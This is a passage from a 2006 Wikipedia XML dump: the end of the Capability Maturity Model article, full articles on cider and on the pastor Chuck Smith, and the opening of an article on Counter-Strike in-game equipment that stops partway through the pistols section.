| OEI || Organizational Environment for Integration || Support || 3
|-
| OID || Organizational Innovation and Deployment || Process Management || 5
|-
| OPD || Organizational Process Definition || Process Management || 3
|-
| OPF || Organizational Process Focus || Process Management || 3
|-
| OPP || Organizational Process Performance || Process Management || 4
|-
| OT || Organizational Training || Process Management || 3
|-
| PI || Product Integration || Engineering || 3
|-
| PMC || Project Monitoring and Control || Project Management || 2
|-
| PP || Project Planning || Project Management || 2
|-
| PPQA || Process and Product Quality Assurance || Support || 2
|-
| QPM || Quantitative Project Management || Project Management || 4
|-
| RD || Requirements Development || Engineering || 3
|-
| REQM || Requirements Management || Engineering || 2
|-
| RSKM || Risk Management || Project Management || 3
|-
| SAM || Supplier Agreement Management || Project Management || 2
|-
| TS || Technical Solution || Engineering || 3
|-
| VAL || Validation || Engineering || 3
|-
| VER || Verification || Engineering || 3
|}

== Controversial aspects ==

The [[software industry]] is diverse and volatile. All methodologies for creating software have supporters and critics, and the CMM is no exception.

=== Praise ===

* The CMM was developed to give Defense organizations a yardstick to assess and describe the capability of software contractors to provide software on time, within budget, and to acceptable standards. It has arguably been successful in this role, even reputedly causing some software salespeople to clamour for their organizations' software engineers/developers to &quot;implement CMM.&quot;

* The CMM is intended to enable an assessment of an organization's maturity for software development. It is an important tool for outsourcing and exporting software development work. Economic development agencies in India, Ireland, Egypt, and elsewhere have praised the CMM for enabling them to be able to compete for US outsourcing contracts on an even footing.

* The CMM provides a good framework for organizational improvement.  It allows companies to prioritize their process improvement initiatives.

=== Criticism ===

* CMM has failed to take over the world. It's hard to tell exactly how wide spread it is as the SEI only publishes the names and achieved levels of compliance of companies that have requested this information to be listed[http://www.sei.cmu.edu/cmmi/faq/ares-faq.html#RATE03].  The most current Maturity Profile for CMMI is available online[http://www.sei.cmu.edu/appraisal-program/profile/pdf/CMMI/2005marCMMI.pdf ].

*  CMM is well suited for bureaucratic organizations such as government agencies, large corporations and regulated monopolies.  If the organizations deploying CMM are large enough, they may employ a team of CMM auditors reporting their results directly to the executive level.  (A practice encouraged by SEI.)  The use of auditors and executive reports may influence the entire IT organization to focus on perfectly completed forms rather than application development, client needs or the marketplace.  If the project is driven by a due date, CMMs intensive reliance on process and forms may become a hinderance to meeting the due date in cases where time to market with some kind of product is more important than achieving high quality and functionality of the product.

*  Suggestions of scientifically managing the software process with metrics only occur beyond the Fourth level. There is little validation of the processes cost savings to business other than a vague reference to empirical evidence.  It is expected that a large body of evidence would show that adding all the business overhead demanded by CMM somehow reduces IT headcount, business cost, and time to market without sacrificing client needs.         

* No external body actually certifies a software development center as being CMM compliant. It is supposed to be an honest self-assessment ([http://www.sei.cmu.edu/cmmi/faq/ares-faq.html#APR04] and [http://www.sei.cmu.edu/cmmi/faq/ares-faq.html#APR05]).

* The CMM does not describe how to create an effective software development organization.  The CMM contains behaviors or best practices that successful projects have demonstrated.  Being CMM compliant is not a guarantee that a project will be successful, however being compliant ''can'' increase a project's chances of being successful.

* The CMM can seem to be overly bureaucratic, promoting process over substance.  For example, for emphasizing predictability over service provided to end users.  More commercially successful methodologies (for example, the [[Rational Unified Process]]) have focused not on the capability of the organization to produce software to satisfy some other organization or a collectively-produced specification, but on the capability of organizations to satisfy specific end user &quot;[[use cases]]&quot; as per the Object Management Group's UML ([[Unified Modeling Language]]) approach[http://www.sei.cmu.edu/publications/documents/93.reports/93.tr.024.html].

* Whilst CMM may have been very positive for the employment of software engineers in emerging or Third World economies - notably in India during the early 2000s - it is regarded as having adversely affected the potential employment opportunities for software engineers in the developed economies - notably the USA and Europe.  This outsourcing is a form of labor [[arbitrage]] which is similar to the movement of manufacturing of (for example) fashion clothing or Nike shoes to Third World economies with relatively cheap labor rates.

== The most beneficial elements of CMM Level 2 and 3 ==

* Creation of Software Specifications, stating what it is that is going to be developed, combined with formal sign off, an executive sponsor and approval mechanism.  This is NOT a living document, but additions are placed in a deferred or out of scope section for later incorporation into the next cycle of software development.

* A Technical Specification, stating how precisely the thing specified in the Software Specifications is to be developed will be used.  This is a living document.

* Peer Review of Code (Code Review) with metrics that allow developers to walk through an implementation, and to suggest improvements or changes.  Note - This is problematic because the code has already been developed and a bad design can not be fixed by &quot;tweaking&quot;, the Code Review gives complete code a formal approval mechanism.

* Version Control - a very large number of organizations have no formal revision control mechanism or release mechanism in place.

* The idea that there is a &quot;right way&quot; to build software, that it is a scientific process involving engineering design and that groups of developers are not there to simply work on the problem du jour.

== References ==

* [[Mary Beth Chrissis]], [[Mike Konrad]], and [[Sandy Shrum]]. ''CMMI: Guidelines for Process Integration and Product Improvement'', Pearson Education, ISBN 0321154967
* [[Watts Humphrey]]. ''Managing the Software Process'', Addison-Wesley Professional, ISBN 0201180952
* [http://www.tantara.ab.ca/a_isorel.htm History of Process Models]
* [http://www.itmweb.com/f051098.htm Process Improvement: The Capability Maturity Model]
* [http://www.bcs.org/BCS/Products/publishing/itnow/OnlineArchive/sep05/point.htm ITNOW - September 2005: Capability model mature - or is it?]

== External links ==

* [http://www.sei.cmu.edu/cmmi/ CMMI Official Web Site]
* [http://www.sei.cmu.edu/cmmi/adoption/pdf/cmmi-overview05.pdf Capability Maturity Model® Integration (CMMI®) Overview] [PDF]
* [http://www.tc.umn.edu/~hause011/article/Capability_maturity_models.html A critical look at implementing CMM Level 2]
* [http://www.cio.com/archive/030104/cmm.html CIO Article, Bursting the CMM Hype]

[[Category:Software engineering]]

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[[es:Modelo de Capacidad y Madurez]]
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[[sv:Capability Maturity Model]]</text>
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  </page>
  <page>
    <title>Cider</title>
    <id>7494</id>
    <revision>
      <id>41924035</id>
      <timestamp>2006-03-02T17:29:53Z</timestamp>
      <contributor>
        <ip>132.170.161.225</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Cider-strongbow.jpg|thumb|A [[pint]] of [[Strongbow Cider|Strongbow]] cider.]]
'''Cider''' (known in parts of [[North America]] as '''hard cider''', and also spelled '''cyder''') refers to an [[alcoholic beverage]] made from [[apple]]s.  In [[Europe]] and [[Oceania]], &quot;cider&quot; refers to [[fermentation|fermented]] apple [[fruit juice|juice]].  In the United States and parts of Canada the same drink is known as &quot;hard cider&quot;, with &quot;cider&quot; referring to an unfermented (non-alcoholic) drink that is a subtype of [[apple juice]].

Cider is often stronger than [[beer]], and is frequently over 6% [[alcohol by volume]] (ABV). The common eating apples are unsuitable for cidermaking, being low in [[tannin]]s; specific apple cultivars bred [[Cider apple|especially for cidermaking]] are preferred.

==Types of cider==
Cider comes in a variety of tastes, from sweet to dry.  Modern, mass-produced ciders are generally heavily processed and resemble [[sparkling wine]] in appearance. More traditional brands, often known as ''scrumpy'', tend to be darker and more cloudy, as less of the apple is filtered out.  They are often stronger than processed varieties. 

&quot;White cider&quot; is made by processing cider after the traditional brewing process is complete, resulting in a nearly white product. This processing allows the manufacturer to produce strong (typically 7-8% ABV) cider cheaply, quickly, and on an industrial scale, often from poor raw materials.

== Cider production==
=== Scratting and pressing ===
[[Image:Cider making Jersey.jpg|thumb|Most cider is made industrially nowadays, although traditional methods still survive. In this picture the layers of pomace are wrapped in canvas.]]

After the apples are gathered from the trees, they are &quot;scratted&quot; (ground) into what is called pomace or pommage, either by means of a common pressing stone with a circular trough, or by a cider mill, traditionally driven by the hand, water-mill, or horse-power, but these days likely to be electric. When the pulp is thus reduced to a great degree of fineness, it is conveyed to the cider press, where it is formed by pressure into a kind of cake, which is called the cheese.

This is effected by placing clear, sweet straw or hair cloths between the layers of pomace, usually alternating with slatted ash-wood racks, until there is a pile of 10 or 12 layers. It is important to minimise the time that the pomace is exposed to air, to reduce oxidation &amp;mdash; and, at the same time, the cheese must be constructed evenly, or the whole pile slithers onto the floor.

This pile is then subjected to different degrees of pressure in succession, until all the must or juice is squeezed from the pomace. This juice, after being strained in a coarse hair-sieve, is then put into either open vats or closed casks, and the pressed pulp is either given to farm animals as winter feed (or thrown away) or used to make liqueurs.

=== Fermentation ===
Fermentation is best effected at a temperature of 4-16 [[Celsius|°C]] (40-60[[Fahrenheit|°F]]). This is low for most kinds of fermentation, but works for cider as it leads to slower fermentation with less loss of delicate aromas. 

Shortly before the fermentation consumes all the sugar, the liquor is &quot;racked&quot; into new vats. This leaves dead yeast cells and other undesirable material at the bottom of the old vat. At this point it becomes important to exclude airborne acetic bacteria, so care is taken to fill the vat completely, and the fermenting of the remaining available sugar generates a small amount of carbon dioxide that helps to prevent air seeping in. This also creates a certain amount of sparkle, and sometimes extra sugar is added at this stage for this purpose and also to raise the alcohol level. Racking is sometimes repeated if the liquor remains cloudy.

The cider is ready to drink at this point, though more often it is matured in the vats for up to two or three years.

=== Blending and bottling ===
For larger-scale cider production, ciders from vats produced from different varieties of apple may be blended to accord with market taste. If the cider is to be bottled, usually some extra sugar is added for sparkle. Higher quality ciders can be made using the [[champagne (beverage)|champagne method]], but this is expensive in time and money and requires special corks, bottles, and other equipment.

==Related drinks==
[[Applejack]] is a strong alcoholic beverage made in North America by concentrating cider, either by the traditional method of &quot;[[freeze distillation]]&quot;, or by true evaporative [[distillation]].  In traditional freeze distillation, a barrel of cider is left outside during the winter. When the temperature is low enough, the water in the cider starts to freeze. If the ice is removed, the (now more concentrated) alcoholic solution is left behind in the barrel. If the process is repeated often enough, and the temperature is low enough, the alcohol concentration is raised to 30-40% alcohol. In freeze distillation, hazardous concentrations of [[methanol]] and [[fusel oil]] may develop.  These toxins can be separated when regular, heat distillation is performed. Home production of applejack is illegal in most countries.

[[Cocktails]] may include cider. Besides kir and snakebite, an example is [[Black Velvet (cocktail)|Black Velvet]] in a version of which cider may replace [[champagne (beverage)|champagne]].

Other alcoholic beverages are also made from apples, such as [[apple wine]] and the distilled spirits [[apple brandy]] and [[calvados (spirit)|calvados]]. A popular apéritif in Normandy is ''[[pommeau]]''&amp;mdash;a drink produced by blending unfermented cider and apple brandy in the barrel (the high alcoholic content of the spirit stops the fermentation process of the cider and the blend takes on the character of the aged barrel).

Other fruits can be used to make cider-like drinks. The most popular is [[perry]], known in France as ''poiré'' and produced mostly in Normandy, which is made from fermented [[pear]]-juice. A branded sweet perry known as [[Babycham]], marketed principally as a women's drink and sold in miniature Champagne-style bottles, was once popular but has now become unfashionable. Fermented peach juice can be made into &quot;peachy&quot;.

Another related related drink is [[cyser]] (cider fermented with honey).

A few producers in [[Quebec]] have developed ''cidre de glace'' (literally &quot;ice cider&quot;, sometimes called &quot;apple ice wine&quot;), inspired from [[ice wine|ice wines]], where the apples are naturally frozen either before or after harvest. The alcohol concentration of ''cidre de glace'' is 9-13%.

==Brands of cider==
*[[Martinelli's]] (sparkling, non-alcoholic, but unique from [[apple juice]])
*[http://www.acecider.com/ Ace Cider]
*[[Ashlar (cider)|Ashlar]]
*[[Aspall Cider|Aspall]]
*[http://www.beakandskiff.com/ Beak and Skiff]
*[http://www.cidery.com/ Bellweather Cider]
*[[Biddedon (cider)|Biddedon]]
*[[Blackthorn Dry Cider|Blackthorn]]
*[[Braddock (cider)|Braddock]]
*[[Bulmers (Republic of Ireland)]] (Magners in the UK)
*Cassels
*Cider Jack
*[[Crones]]
*[[Frosty Jack Cider]]
*Growers Cider Company in [[Oliver, British Columbia]]
*[[Okanagan]]
*[[Olde English cider|Olde English]]
*[[Pilchard]]
*[[Scrumpy Jack]]
*[[Strongbow Cider|Strongbow]]
*[[Symonds]]
*[http://www.tempestcider.com Tempest Cider]
*[http://www.tasteeapple.com/ Tastee] American Apple Processor in [[Newcomerstown, Ohio]] 
*[[Thatcher's Cider|Thatcher's]]
*[http://www.treetop.com/ Tree Top] American Apple Processor in [[Selah, Washington]]
*[[Westons]]
*[[Wikins]]
*[[Woodchuck cider|Woodchuck]]
*[[Woodpecker cider|Woodpecker]]

==Cider by country==
In traditional cultures, just as a general line could be drawn separating wine regions from beer regions, broadly speaking, so cider has been the natural common drink of regions with strong orchard traditions. In 12th-century [[Galicia (Spain)|Galicia]] &quot;it would seem that a good deal of cider was drunk.  The French author of the guidebook for pilgrims which forms a part of the so-called Liber Sancti Jacobi commented that it was more often to be encountered in Galicia than wine. Cider as well as wine was drunk at a king's coronation in  1111, and a render of cider was stipulated as part of the rent in a lease of 1116. ([http://libro.uca.edu/sjc/sjc.htm Fletcher 1984]).

[[Shepton Mallet]], Somerset, England, is home to the largest cider plant in Europe. This plant produces; [[Blackthorn]], [[Olde English]] but also produced the world famous Babycham.

=== Australia ===
In [[Australia]], 'cider' can be either an alcoholic drink as described above, or a sparkling non-alcoholic beverage made from apples. The most popular brands of alcoholic cider in Australia are Strongbow, and Mercury Cider made at the [[Cascade Brewery]] in Hobart, Tasmania. Cascade's 'Apple Isle' Sparkling Apple Juice is the most popular selling brand of non-alcoholic cider in Australia. Alcoholic cider is sold in [[liquor store|bottleshop]]s, while the non-alcoholic version is stocked in the [[soft drink|soft-drink]] aisles of supermarkets.

=== Canada ===
In [[Quebec]], cider is considered a traditional alcoholic beverage. Cidermaking was, however, forbidden since the early years of the British rule as it was in direct conflict with established British brewers’ interests (most notably [[John Molson]]). In recent years, a unique variety has emerged on the market: ice cider.  This type of cider is made from apples with a particularly high level of sugar caused by natural frost.

In [[Ontario]], apple cider or apple hooch is often home-made.  Apples are de-cored, juiced, and boiled.  Sugar is dissolved into the apple/water mixture.  Brewer's yeast is added and the cider is fermented for up to two weeks, or three before bottling, and then  aged to taste.

=== East Asia ===
Cider in [[Japan]] and [[Korea]] sometimes means just a [[soft drink]], not necessarily made from apples.

=== France ===
[[France|French]] ''cidre'' is an alcoholic drink produced predominantly in [[Normandy]] and [[Brittany]]. It varies in strength from below 4% alcohol to considerably more. '''Cidre Doux''' is usually any cider up to 3% in strength. 'Demi-Sec' is from 3 to 5% and '''Cidre Brut''' is a strong cider of 5% alcohol and above. Most are usually sparkling. Higher quality cider is sold in [[Champagne (beverage)|Champagne]]-style bottles (''cidre bouché''), and while much of cidre is sold in corked bottles, some screw-tops bottles exist. Until the mid-[[20th century]], cidre was the second most-consumed drink in France (after wine) but an increase in the popularity of beer displaced cider's market share outside traditional cider-producing regions. In restaurants in Brittany, cider is sometimes served in traditional ceramic bowls (or wide cups) rather than glasses. A ''kir normand'' is a cocktail [[apéritif]] made with cider and [[Creme de cassis|cassis]], rather than white wine and cassis for the traditional ''[[kir]]''. Cider is still made in the [[Channel Islands]], but there is a great deal less now than there was in the past. In [[Jersey]], the only locally produced cider currently sold in shops is a strong (above 7%) variety.

=== Germany ===
''Main article: [[Apfelwein]]''

[[Germany|German]] ''cidre'', usually called ''Apfelwein'' (apple wine), and regionally known as ''Apfelmost'' (apple must), ''Viez'' (from [[Latin]] ''vice'', the second or substitute wine), or ''Saurer Most'' (sour must), has an alcohol content of 5.5% - 7 % and a tart, sour taste.

German cidre is mainly produced and consumed in [[Hessen]], particularly in the [[Frankfurt am Main|Frankfurt]], [[Wetterau]] and [[Odenwald]] areas, in [[Moselfranken]], [[Merzig]] ([[Saarland]]) and the [[Trier]] area, as well as the lower [[Saarland|Saar]] area and the region bordering on Luxembourg. In these regions, there are several large producers, as well as numerous small, private producers often using traditional recipes.

In some of these regions, there are regular cidre competitions and fairs, in which the small, private producers participate. Cidre songs are composed and sung at these events. The Merzig region crowns a Viez Queen, and the lower Saar area a Viez King.

An official Viez route, (''Rue de Cidre'') connects [[Saarburg]] with the border to Luxembourg.
=== India ===
Cider is a new introduction in India under the brand TEMPEST ,produced by Green Valley Cider located in the apple producing state of Himachal Pradesh , India. Tempest is primarily available in the carbonated form and is witnessing a resurgence in popularity.

=== Ireland ===
Cider is a popular drink in Ireland; for a long time cider production was officially encouraged and supported by a preferential tax treatment. A single cider, Bulmers, dominates sales in Ireland: owned by [[C&amp;C]], Bulmers cider is a different cider to Bulmers in [[England]] where [[C&amp;C]] do not own the brand, in the United Kingdom C&amp;C brand their cider as Magners.

=== Luxembourg ===
In [[Luxembourg]], ''viez'' (pronounced feetz) is rather like [[England|English]] scrumpy. It is cloudy and varies from nonalcoholic to very alcoholic. It is made only in autumn. It is sold by the side of the road in reused plastic bottles and should be drunk within a few days of purchase. The quality can be extremely good.

=== New Zealand ===
In New Zealand, cider is fermented apple juice. The most popular brand is ''Scrumpy''.

=== South Africa ===
''Hunter's Gold'' and ''Hunter's Dry'' are popular ciders, along with ''Redd's'' and ''Savanna Dry''.

=== Spain ===
The [[Spain|Spanish]] regions of [[Asturias, Principality of|Asturias]] and the [[Basque Country]] are well known for traditional ''sidra'', an alcoholic cider of 4 to 8% strength. ''Sidra'' or ''Sagardoa'' ([[Euskadi]]) is traditionally poured in very small quantities from a height into a wide glass, with the arm holding the bottle extended upwards and the one holding the glass extended downwards. This is called to ''escanciar'' (or, in [[asturian]], ''echar'') and is done to get air bubbles into the drink, thus giving it a sparkling taste like Champagne that lasts a very short time. Spanish ''sidra'' is closely associated with ''sidrerías'' or ''sidreríes'' (Asturias) or ''sagardotegiak'' (Euskadi) (&quot;cider houses&quot;). In the Basque region of [[Guipúzcoa]], it is a tradition to visit ''sagardotegiak'' between February and May to drink new ''sidra'' from the barrel accompanied by a meal (like the well known &quot;txuleton&quot;).

===United Kingdom===
In the [[United Kingdom]] cider is predominantly (but by no means exclusively) made in the southwest and west of [[England]] and is known as '''scrumpy''' in the [[West Country]]. Cider from [[Gloucestershire]], [[Herefordshire]] and [[Worcestershire]] in [[England]] made from traditional recipes forms a [[European Union]] [[Protected Geographical Indication]].

Cider is often the drink of choice for teenagers in the UK (along with [[alcopop|alcopops]]; see also [[Snakebite (cocktail)|Snakebite]]). This is aided by preferentially low [[duty]] rates for cider compared to beer, which reduces its cost. Abdominal pains known as &quot;[[Devon colic]]&quot; have been attributed to mild [[lead poisoning]]; the acidic juice dissolves lead from the traditional cider presses used in that region.

Local West Country legends tell of cider served at concerts for the [[Somerset]] band [[The Wurzels]], often being described as 'proper' ''scrumpy''. Many locals insist the reputed 'bits' in such ''scrumpy'' enhanced the flavour, and sometimes the strength of the alcoholic content.

West Country cider is parodied by [[Terry Pratchett]] in his descriptions of the ''[[Discworld]]'' beverage [[Minor Discworld concepts#Scumble|scumble]].

====Real cider====

[[CAMRA]] has defined &quot;real cider&quot; as the following:
&lt;blockquote&gt;&quot;'''DEFINITION OF REAL DRAUGHT CIDER &amp; PERRY'''

&lt;br&gt;A) INGREDIENTS
#The liquid content before fermentation must consist entirely of non-pasteurized apple (Cider), or pear (Perry) juice.
#No apple or pear juice concentrates to be used.
#Normally, only the sugar naturally available in the fruit should be used to cause fermentation, but in years when the level of natural sugar in the fruit is low, the addition of extraneous sugar to aid fermentation is acceptable.

B) PROCESS
#No pasteurization to take place during the production process in relation to the cask product.
#No added colourings to be used.
#No added flavorings to be used.
#There must be no artificial carbonation for draught products.
#Sweetener may be added to fully fermented Cider/Perry to make it sweet or medium.
#The addition of water is permitted to bring the alcoholic content of the Cider/Perry down to the level required by the producer. Ideally, however the minimum juice content should not be lower than 90% volume.
#No micro filtration allowed (this takes all the yeast, leaving a &quot;dead&quot; product).
&lt;/blockquote&gt;

The above is item 5.2 as extracted from CAMRA's External Policy Document 2003 - 2004&quot; (from [http://www.camra.org.uk/SHWebClass.ASP?WCI=ShowDoc&amp;DocID=759 CAMRA's Cider &amp; Perry page])
&lt;/blockquote&gt;
&lt;br&gt;
'''[[UKCider]], the [[Community of Practice]] for small scale cidermakers''' has developed a definition of real cider as follows: 

&lt;blockquote&gt; &quot;'''WHAT DO WE MEAN BY REAL CIDER?'''&lt;br&gt; 
&lt;br&gt; 
Real cider is the product of fermenting fresh apple juice. &lt;br&gt; 
&lt;br&gt; 
The amount of apple juice which went into the final product must be between 85 and 100% and should be clearly stated on the container it is sold in or dispensed from. No artificial sweetners, flavourings or colourings are permitted.&lt;br&gt;  
&lt;br&gt; 
(For real perry substitute pear juice.)&quot;
&lt;/blockquote&gt;

Taken from [http://www.ukcider.co.uk/real.htm the ukcider website]

===United States===
Somewhere around the time of [[Prohibition]], the word cider came to mean sparkling apple juice, largely through the influence of [[Martinelli's]] sparkling apple cider, which was once touted specifically as &quot;non-alcoholic cider&quot;. The patented &quot;Golden Apple&quot; bottle design is well known throughout the world, as it intentionally resembles a champagne bottle. The Martinelli's brand of sparkling non-alcoholic cider is so well known in many parts of the country that &quot;cider&quot; and &quot;Martinelli's&quot; are often synonymous.

== See also ==
*[[Devon colic]] - lead poisoning caused by cider drinking in 18th century [[Devon]]

==External links==
{{Commons|Category:Cider}}

* [http://www.cidermuseum.co.uk/ The Hereford Cider Museum]
* [http://www.middlefarm.com/cidershop.html The National Collection of Cider and Perry], [[East Sussex]], [[England]]
* [http://www.straightdope.com/classics/a2_048.html The Straight Dope: What's the difference between apple juice and apple cider?]
* [http://www.iespana.es/valdedios]
* [http://www.ratebeer.com Review ciders at RateBeer,com]
* [http://www.camra.org.uk/SHWebClass.asp?WCI=ShowCat&amp;CatId=9 CAMRA Cider &amp; Perry Division]
* [http://ukcider.co.uk/wiki/index.php/Main_Page UKCider Wiki]
* [http://www.cookingforengineers.com/article.php?id=151 Cooking For Engineers: Mulled Cider Recipe]
* [http://flickr.com/photos/intrnal/sets/1357981/ A flickr set documenting how to brew your own Cider]

==References==

* ''[[Household Cyclopedia]]'', [[1881]]
* ''Farmhouse Cider &amp; Scrumpy'', Bob Bunker [[1999]]
*Richard A. Fletcher, 1984. ''Saint James' Catapault: The Life and Times of Diego Gelmírez of Santiago de Compostela'' (Oxford University Press)

R.A. Fletcher 

[[Category:Cider|*]]
[[Category:English Protected designation of origin]]

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[[zh:苹果酒]]</text>
    </revision>
  </page>
  <page>
    <title>Chuck Smith</title>
    <id>7495</id>
    <revision>
      <id>42012034</id>
      <timestamp>2006-03-03T05:17:15Z</timestamp>
      <contributor>
        <username>Scott Sanchez</username>
        <id>21150</id>
      </contributor>
      <minor />
      <comment>/* Calvary Chapel */ rv</comment>
      <text xml:space="preserve">'''Chuck Smith''' ('''Charles Ward Smith''')(born [[1927]]) is a [[Christian]] leader in the [[United States]].

Smith was born in [[Ventura, California]] to Charles and Maude Smith. He graduated from [[Life Pacific College|LIFE Bible College]] and was ordained as a [[International Church of the Foursquare Gospel|Foursquare]] [[Pentecostal]] pastor. After struggling for years as pastor and frustrated by church growth and recruitment techniques (in [[Tucson, Arizona]]; [[Huntington Beach, California]]; and [[Corona, California]]) he founded [[Calvary Chapel]] (later called Calvary Chapel, Costa Mesa), located in [[Santa Ana, California]], in 1965 with 25 people. What began as a small chapel grew to a church with [[seating capacity]] of over 2,000.  Today, Smith's simple, biblical-based teaching style draws 25,000 people weekly.

Many among a generation of hippies and surfers who were the focus of Smith's outreach, such as [[Greg Laurie]], [[Jon Courson]], [[Mike MacIntosh]], [[Raul Ries]], and [[Skip Heitzig]], as well as others, now have Christian ministries of their own.

Since then, Smith extended his teaching nationally through [[The Word for Today]] radio program, as well as internationally over the internet. A list of his resource materials, which include audio tape packs, videos, and books, is also available on the [http://www.twft.com internet]. Under Smith's leadership, a number of other ministries were brought into existence, including:

* [[Maranatha Music]], a Christian music recording company
* [[CSN, International]], a growing radio ministry
* [[Hope for the Children International]], an outreach to needy, inner-city children
* The Word For Today, a multi-media publishing/radio broadcasting company
* [[Maranatha Christian Academy]] and [[Calvary High School]]
* [[Calvary Chapel Bible College]]
* [http://www.ccsom.org Calvary Chapel School of Ministry]

== Calvary Chapel ==

Smith is the active founder of the [[Calvary Chapel]] movement. There are over 500 churches across America, with over 300 in California, and over 100 churches in over 25 different countries.

Because of [[Calvary Chapel]], the increasingly popular ministry of [[Ray Comfort]] (founder and host of [[The Way of the Master]] television show and [[Living Waters Publications]]) was able to find a home in the [[United States]] from [[New Zealand]].

Smith is well respected throughout the Christian community.  His wife, Kay, heads up Costa Mesa's women's ministry, while his son, Jeff, oversees The Word for Today and CSN International. Smith's other three children are also involved in the ministry.

{{Christian-clergy-stub}}

== External links ==
* [http://calvarychapel.org Calvary Chapel - Official Site]

[[Category:Christian leaders|Smith, Chuck]]
[[Category:Christian ministers|Smith, Chuck]]
[[Category:Christian pastors|Smith, Chuck]]
[[Category:Christian writers|Smith, Chuck]]
[[Category:1927 births|Smith, Chuck]]
[[Category:People from California|Smith, Chuck]]
[[Category:Living people|Smith, Chuck]]</text>
    </revision>
  </page>
  <page>
    <title>Counter-Strike equipment</title>
    <id>7496</id>
    <revision>
      <id>41897531</id>
      <timestamp>2006-03-02T13:24:02Z</timestamp>
      <contributor>
        <username>Gurklurk</username>
        <id>727727</id>
      </contributor>
      <minor />
      <comment>/* SIG-552 */</comment>
      <text xml:space="preserve">In the [[first-person shooter]] [[computer game]] ''[[Counter-Strike]]'', at the beginning of a round each player has a certain amount of time to buy items. Available equipment includes [[firearm]]s, throwable weapons, [[body armor]] and other devices. Sometimes, equipment that is exclusively for one team has a foil on the opposing team, such as the [[AK-47]] for the Terrorists and the [[M4 Carbine]] for Counter-Terrorists.

Weapons in ''Counter-Strike'', as in most first-person shooter games, are not entirely true to their real life counter parts, generally in the interests of balance. Although the Assault Rifles such as the M4A1 and AK-47 tend to dominate matches (with 1-2 team members in a sniping role with the AWM/P) after several rounds when sufficient money has been accumulated, the large selection of weapons allows players variety and the opportunity to &quot;show off&quot;. As a general rule of thumb: in the game, the higher the rate of fire and the larger the magazine capacity of a weapon, the less damage each individual round will do, even if caliber and barrel length are equal.

The [[Development stage|beta]] releases of ''Counter-Strike'' featured left-handed weapon models that were using weapons meant for right-handed people (it is supposed that the [[Mod (computer gaming)|mod]]'s original creator preferred to model weapons this way, as his work on Action Quake 2 shows) and the style has been retained through the current version, 1.6. In the interim, the option of flipping the model over so that it would appear right-handed has become available. However, since the weapon models are direct mirror images, the left and right side of the weapons are reversed. For instance, the forward assist and ejection port of the M4A1 carbine and the bolt release and selector switch of the AK-47 appear on the left side of the rifle. This is incorrect and rather absurd in reality, as right-handed users would be showered with the ejected cartridges of their weapons. It is even worse for the bolt-action rifles, since the original left-handed models incorporated a right-hand bolt, which equates to a left-hand bolt when the image is flipped to a right-handed model.

The weapons included are the same in ''Counter-Strike'', ''[[Counter-Strike: Condition Zero]]'' and ''[[Counter-Strike: Source]]'', but the skins are different, as are some aspects of weapons in different versions. When ''Counter-Strike'' for the ''[[Half-Life]]'' engine was released as a retail product, many of the firearms, save for the [[MAC-10]] by the now-defunct [[Military Armament Corporation]], were renamed possibly due to legal or licensing issues (e.g. the Desert Eagle .50AE was renamed the Nighthawk and the GLOCK 18C is renamed the 9x19mm Sidearm). ''[[Counter-Strike: Source]]'' for the ''[[Half-Life 2]]'' engine continues this renaming.

==Reloading==
When reloading in Counter-Strike, the magazine inside the gun is 'refilled' to full, and the bullets used are subtracted from storage. So if a player was reloading a 30-rounds magazine with 10 rounds left, 20 rounds would be moved from the stores to the magazine.

== Knife ==
Each player starts out with a combat [[Ka-bar]] knife; unlike the other weapons, the knife cannot be dropped. The knife has a fast, low-damage primary attack and a slow, high-damage secondary attack which can kill opponents with two stabs, if not one. Since version 1.6, both attacks inflict more damage when attacking an enemy in the back. Players are able to run faster with the knife equipped than with any primary weapon other than lighter [[submachine gun]]s and the Scout sniper rifle.  For this reason knives are often equipped when [[rush (computer gaming)|rushing]]. Knife kills do not occur frequently and being killed by a knife-wielding player is considered one of the most embarrassing ways of dying in the game; many servers using stats plugins such as [[AMX Half-Life Server Mod|AMX Mod]] and StatsMe emphasise the event using the &quot;humiliation&quot; announcement from ''[[Quake 3 Arena]]''.

There is a form of [[etiquette]] in which if there are only two remaining players and one pulls out a knife (sometimes noisily scratching scenery to announce their decision over long distances), the other player must follow suit. The two will then run back and forth stabbing at each other. Using a firearm to kill the player with the knife will usually result in the shooter being criticized by other players or even kicked or banned from the server. However, this is not very common in public servers, and usually the opponent can kill the knife-wielding survivor with their weapon and suffer no punishment.

==[[Pistol]]s==

===GLOCK 18===
''Alternate name: 9x19mm Parabellum''

The [[GLOCK 18]] Select Fire 9mm is the pistol Terrorists automatically start with, although it can be dropped and replaced with a different purchase. It costs $400, has 20-round 9mm magazines, and can be fired in either semi-automatic or burst mode, which fires three shots rapidly and is typically most effective at close range. The semi-automatic can require an experienced player to use effectively, especially when compared to the USP (the default CT weapon).

Advantages of the [[GLOCK 18]] include its large magazine size, high [[stopping power]] (enemies struck by a bullet from a Glock are momentarily stunned), fast rate of fire, choice of semi-auto or burst fire modes and the ability of burst-fire to stay fairly accurate while the player is in the air. It has no recoil, but firing quickly will still result in poor accuracy. Disadvantages of the [[GLOCK 18]] include its meager power and the fact that it is not accurate at anything further than close to medium range. The [[GLOCK 18]] has been in CS since Beta 1.0.

In real life, a [[GLOCK 18]] is either semi-automatic or full-automatic; there is no burst fire. The three-shot burst was implemented for game balancing purposes, since a Terrorist with a full-auto [[GLOCK 18]] would make short work of his Counter-Terrorists rivals during pistol round. The closest weapon that has similar attributes to the game's [[GLOCK 18]] is a [[Beretta 93R]]. Also, a [[GLOCK 18]] in real life is highly accurate, an attribute somewhat toned down in the game.

===H&amp;K USP .45 Tactical===
''Alternate name: K&amp;M .45 Tactical''

The [[Heckler &amp; Koch USP|Heckler &amp; Koch USP45 Tactical]] is the pistol automatically given to spawning Counter-Terrorists.  It costs $500, has 12-round .45 ACP magazines, and has an optional [[suppressor]], use of which slightly reduces accuracy and damage but makes it difficult for an opposing player to detect your position when you are firing at them from long distances.

Advantages of the USP include its high accuracy, power, general ease of use (when compared to the Terrorists' equivalent, the GLOCK) and the aforementioned suppressor. Disadvantages include a merely average amount of ammo (12 rounds per magazine), more recoil than some of the other pistols and a weakness against opponents with armor. The USP has been in CS since Beta 1.0.

===Desert Eagle (&quot;Deagle&quot;)===
[[Image:Cs-screenshot.jpg|thumb|right|Screenshot from a player using a [[Desert Eagle]].]]
''Alternate name: Night Hawk .50C''

